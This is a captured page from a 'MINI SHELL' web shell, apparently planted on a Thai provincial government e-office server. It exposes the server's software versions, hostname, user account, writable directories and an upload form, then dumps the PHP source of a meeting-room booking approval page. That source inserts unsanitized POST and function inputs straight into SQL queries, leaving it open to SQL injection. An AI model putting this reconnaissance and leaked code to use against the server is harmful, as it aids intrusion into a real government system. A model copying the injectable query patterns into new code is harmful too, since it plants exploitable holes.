MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/meetingroom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/meetingroom/alert.php
<?
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");

//insert timeQuery
include("../../common/common_system.inc.php"); 
$ApplicationName="metting"; 
$time_start = getmicrotime();  
//insert timeQuery


//echo "<pre>";
//if(isset($_POST[action])){
//print_r($_POST);
//exit();}
$action=$_POST[action];
if ($action=="approve"){
	$cost=$_POST[cost];
	$submit=$_POST[submit];
foreach ($submit as $keys=>$values ){
	$xvalues=$cost[$keys];
	$sql="update  meeting_reserve_backup set  alert_approve='1',free_commission='$xvalues' where refid='$keys'";
	$result=mysql_query($sql);
	}	
}


function getRoomName($rid) {
	$sqlx = "SELECT rname FROM meeting_room WHERE rid='$rid'";
	$qx = mysql_query($sqlx) or die(mysql_error());
	$rx = mysql_fetch_assoc($qx);
	if (!$rx[rname]) { $rx[rname]="ไม่ระบุ"; }
	return $rx[rname];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ห้องที่แจ้งความจำนงยกเลิกการจอง</title>
<link href="../../common/style.css" rel="stylesheet" type="text/css">
<link href="../../common/tab_style.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
body {
	margin-left: 10px;
	margin-top: 10px;
	margin-right: 10px;
	margin-bottom: 10px;
}
.header{
	font-family: Verdana, Geneva, sans-serif;
	font-size: 16px;
	font-weight: bold;
	color: #F60;
	text-decoration: none;
	text-align: center;	
	}
-->

</style></head>
<body><form id="form1" name="form1" method="post" action="">

<script type="text/javascript">
function noNumbers(e)
{
var keynum;
var keychar;
var numcheck;

if(window.event) // IE
  {
  keynum = e.keyCode;
  }
else if(e.which) // Netscape/Firefox/Opera
  {
  keynum = e.which;
  }
keychar = String.fromCharCode(keynum);
numcheck = /\d/;
return numcheck.test(keychar);
}
function closewin(){
	window.close();
	}
function confirmapprove(){
	//if(){
		return true
	//	}
	}
</script>



<div   class="header">รายชื่อห้องที่แจ้งความจำนงยกเลิกการจอง</div><br>
<table width="100%" align="center">
  <tr>
    <td><table width="100%" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
      <tr  align="center" bgcolor="#466A8E"  class="headerTB_white" >
        <td width="4%" height="20" >ลำดับ</td>
        <td width="8%" height="20">วัน/เดือน/ปี</td>
        <td width="9%">เวลา</td>
        <td width="12%">ห้องประชุม</td>
        <td width="20%">หัวข้อการประชุม</td>
        <td width="20%">หน่วยงานที่ใช้บริการ</td>
        <td width="10%">ผู้เข้าประชุม(คน)</td>
        <td width="17%">อัตราค่าใช้บริการ(บาท)</td>
      </tr>
      <?
		  $sql="SELECT meeting_reserve_backup.*, org_staffgroup.groupname as groupname  
			FROM meeting_reserve_backup INNER JOIN  epm_staff  ON meeting_reserve_backup.staff_regis = epm_staff.staffid  
			INNER JOIN org_groupmember ON epm_staff.staffid = org_groupmember.staffid  
			INNER JOIN org_staffgroup ON org_staffgroup.gid = org_groupmember.gid 
where  alert_approve='0' Order by daterent DESC"; 
		  $result=mysql_query($sql);
			while($rx = mysql_fetch_assoc($result)) {
			if ($bgcolor1 == "DDDDDD"){  $bgcolor1 = "EFEFEF"  ; } else {$bgcolor1 = "DDDDDD" ;}
			$i++;
			$time1=explode(":",$rx[time_start]);
			$time2=explode(":",$rx[time_end]);
			//list($aa,$bb)=explode(" ",getRentPrice($rx[refid]));	
		?>
      <tr  bgcolor="#<?=$bgcolor1?>">
        <td align="center" valign="top"><?= $i;?></td>
        <td align="center" valign="top"><?=daythai2($rx[daterent]);?></td>
        <td align="center" valign="top"><?=(int)$time1[0];?>
          .
          <?=$time1[1];?>
          -
          <?=(int)$time2[0];?>
          .
          <?=$time2[1];?></td>
        <td align="center" valign="top"><?=getRoomName($rx[roomid]);?></td>
        <td align="left" valign="top"><? if (!$rx[meeting_topic]) { echo"ไม่ระบุ"; }else{echo $rx[meeting_topic];}?></td>
        <td align="left" valign="top"><?= $rx[groupname]?></td>
        <td align="right" valign="top"><?=$rx[meeting_person]?></td>
        <td align="center" valign="top"><table width="100" border="0" cellpadding="0" cellspacing="0">
          <tr>
              <td width="49%"><input  style=" text-align:right"name="cost[<?=$rx[refid]?>]" type="text" id="textfield"    size="12" onkeypress="return noNumbers(event);" maxlength="11"     value="<?=$rx[cost_request]?>"/>&nbsp;</td>
              <td width="8%">&nbsp;</td>
              <td width="43%"><input type="submit" name="submit[<?=$rx[refid]?>]" id="button" value="รับทราบ"  onclick=" return confirmapprove()"/></td>
            </tr>
          </table>
        </td>
      </tr>
      <? } 
	  if($i==0){
		?>
		<tr>
        <td colspan="8" align="center">
        ไม่มีรายการ
        </td>
        </tr>
		<?  
		  }	  
	  ?>
    </table></td>
    </tr>
  <tr>
    <td height="10"></td>
    </tr>
  <tr>
    <td align="center"><label>
      <input name="action" type="hidden" id="approve" value="approve" />
    </label>&nbsp;
      <label>
        <input type="button" name="button2" id="button2" value="     ปิด     "  onclick="closewin();"/>
      </label></td>
    </tr>
  <tr>
    <td>&nbsp;</td>
    </tr>
</table>

</form>
</body>
</html>
<?
//insert timeQuery
 $time_end = getmicrotime();
  writetime2db($timestart,$timeend);
//insert timeQuery
?>

Anon7 - 2021